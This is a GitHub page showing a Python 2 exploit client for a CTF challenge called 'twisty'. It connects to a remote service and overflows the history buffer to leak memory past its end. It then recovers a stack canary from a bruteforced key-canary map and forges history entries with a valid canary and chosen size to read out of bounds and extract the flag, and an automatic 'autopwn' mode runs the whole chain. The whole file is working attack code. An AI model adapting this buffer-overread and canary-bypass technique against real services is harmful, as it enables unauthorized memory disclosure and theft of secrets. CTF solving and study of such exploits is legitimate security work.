Permalink
Cannot retrieve contributors at this time
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
204 lines (182 sloc)
7.59 KB
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# -*- coding: utf-8 -*- | |
""" | |
Client for twisty | |
""" | |
from __future__ import print_function | |
import sys | |
import argparse | |
import cmd | |
import socket | |
import threading | |
import os.path | |
import struct | |
# name of the file containing key-canary values, bruteforced on the 0-0xFFFFF space (gen.c) | |
KEY_CANARY_FILE = 'seed_canary_map' | |
# number of bytes to attempt to read with the exploit | |
# more bytes = more chance to read the flag, but also more chance of crash | |
TRY_READ_BYTES = 6130 | |
def hexdump(src, length=32): | |
"""Hexdump utility function | |
Source: https://gist.github.com/sbz/1080258 | |
""" | |
FILTER = ''.join([(len(repr(chr(x))) == 3) and chr(x) or '.' for x in range(256)]) | |
lines = [] | |
for c in xrange(0, len(src), length): | |
chars = src[c:c+length] | |
hex = ' '.join(["%02x" % ord(x) for x in chars]) | |
printable = ''.join(["%s" % ((ord(x) <= 127 and FILTER[ord(x)]) or '.') for x in chars]) | |
lines.append("%04x %-*s %s\n" % (c, length*3, hex, printable)) | |
return ''.join(lines) | |
class ClientShell(cmd.Cmd): | |
def __init__(self, host, port, auto, verbose): | |
cmd.Cmd.__init__(self) | |
self.prompt = '' | |
self.auto = auto | |
self.verbose = verbose | |
self.sock = self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | |
self.sock.connect((host, port)) | |
self.sent_something = False | |
self.PATTERN_KEY = '63 - ' + 'B'*62 + '\n64 - ' | |
self.PATTERN_KEY_LEN = len(self.PATTERN_KEY) | |
self.try_read_flag = False | |
self.PATTERN_CMD = './twisty' | |
self.PATTERN_COREDUMP = 'timeout: the monitored command dumped core' | |
threading.Thread(target=self.recv_dump).start() | |
if self.auto: | |
self.do_read_exploit("") | |
def send_commands(self, data): | |
sent = self.sock.sendall(data) | |
self.sent_something = True | |
def recv_dump(self): | |
r = 'x' | |
while r != '': | |
r = self.sock.recv(4096) | |
if self.verbose: | |
print(hexdump(r), end='') | |
elif not self.auto: | |
try: | |
print(r, end='') | |
except IOError: pass | |
if self.try_read_flag: | |
if self.get_flag(r): | |
self.do_exit("") | |
else: | |
xorkey = self.get_key(r) | |
if xorkey is not None and self.auto: | |
canary = self.find_canary(xorkey) | |
if canary is None: continue | |
self.do_rewrite_history(canary) | |
print("INFO: server closed connection!", file=sys.stderr) | |
sys.exit() | |
def get_key(self, s): | |
pos = s.find(self.PATTERN_KEY) | |
if(pos != -1 and len(s) >= pos + self.PATTERN_KEY_LEN + 12): | |
key_start = pos + self.PATTERN_KEY_LEN + 8 | |
key = struct.unpack("<I", s[key_start:key_start+4])[0] | |
print("\nKEY FOUND\t" + hex(key), file=sys.stderr) | |
return hex(key) | |
return None | |
def find_canary(self, key): | |
intkey=str(int(key,16)) | |
lines = [line.rstrip('\n') for line in open(KEY_CANARY_FILE)] | |
for line in lines: | |
if intkey in line: | |
canary = line.split(':')[1] | |
print("\nCANARY FOUND\t" + canary, file=sys.stderr) | |
return canary | |
return None | |
def get_flag(self, s): | |
pos = s.find(self.PATTERN_CMD) | |
if(pos != -1): | |
vars = ' '.join(s[pos:].split('\0')[0:2]) | |
print("\nARGV FOUND\t" + vars + "\n", file=sys.stderr) | |
return True | |
pos = s.find(self.PATTERN_COREDUMP) | |
if(pos != -1): | |
print("\nTwisty crashed.\n", file=sys.stderr) | |
return True | |
return False | |
def do_file(self, path): | |
"""file path | |
send the content of the given file""" | |
if os.path.exists(path): | |
with open(path, 'rb') as f: | |
self.send_commands(f.read()) | |
else: | |
print("ERROR: file does not exist!", file=sys.stderr) | |
def do_help2(self, line): | |
"""help2 | |
send the "help" command to the server""" | |
self.send_commands('help\n') | |
def do_history2(self, line): | |
"""history2 | |
send a "history" command followed by 255 spaces (so as not to add the command itself to the history)""" | |
self.send_commands('history' + ' '*255 + '\n') | |
def do_read_exploit(self, line): | |
"""read_exploit | |
sends a specially crafted payload to the server, to be able to read past the buffer | |
MUST be the first thing sent to the server""" | |
if self.sent_something: | |
print("ERROR: already sent some commands!", file=sys.stderr) | |
return | |
# fill the buffer | |
for i in range(62): | |
self.send_commands('A'*255 + '\n') | |
self.send_commands('B'*62 + '\n') | |
# we should now be 8 bytes before the end of the buffer | |
# will leak 254 bytes past the buffer, the D command itself will got at the beginning | |
self.send_commands('D'*254 + '\n') | |
# align with other entries in the buffer (facilitates calculations for rewrite_history) | |
self.send_commands('E' + '\n') | |
# trigger the read | |
self.send_commands('history' + ' '*255 + '\n') | |
def do_rewrite_history(self, line): | |
"""rewrite_history canary | |
sends a specially crafted payload to the server, to fake the history with a valid canary to read past the end of the buffer | |
must follow a read_exploit""" | |
self.try_read_flag = True | |
canary = struct.pack("<I", int(line, 16)) | |
size = struct.pack("<I", TRY_READ_BYTES) | |
size2 = struct.pack("<I", 0x4000 - 8 - 8) | |
# fill the buffer again | |
for i in range(61): | |
self.send_commands('F'*255 + '\n') | |
# at the end, place a fake entry with a valid canary and the size we want to read | |
# at the begining, place another fake entry with a valid canary and a size that will jump directly at the end | |
self.send_commands("B"*62 + canary + size + canary + size2 + 'G'*92 + '\n') | |
# trigger the read | |
self.send_commands('history'+' '*255 + '\n') | |
def default(self, line): | |
"""by default, send the line as-is to the server""" | |
self.send_commands(line + '\n') | |
def do_exit(self, line): | |
"""exit | |
send the "exit" command to the server and quit the current program""" | |
self.send_commands('exit\n') | |
return True | |
def do_EOF(self, line): | |
return True | |
def main (): | |
global options, args | |
if args.verbose: print("Connecting to host" + args.host + " on port " + str(args.port), file=sys.stderr) | |
autopwn = True if not args.manual else False | |
ClientShell(args.host, args.port, autopwn, args.verbose).cmdloop() | |
if __name__ == '__main__': | |
try: | |
parser = argparse.ArgumentParser(description=globals()['__doc__']) | |
parser.add_argument('-v', '--verbose', action='store_true', default=False, help='verbose (hexdump) output') | |
parser.add_argument("-H", "--host", help="server hostname or ip address", default="ctf-ao2019.westeurope.cloudapp.azure.com") | |
parser.add_argument("-p", "--port", help="port number", type=int, default=2323) | |
parser.add_argument('-m', '--manual', action='store_true', default=False, help='do not start exploit automatically') | |
args = parser.parse_args() | |
main() | |
sys.exit(0) | |
except KeyboardInterrupt, e: # Ctrl-C | |
print('User cancelled') | |
except SystemExit, e: # sys.exit() | |
raise e | |
except Exception, e: | |
print('ERROR, UNEXPECTED EXCEPTION') | |
print(str(e)) | |
sys.exit(1) |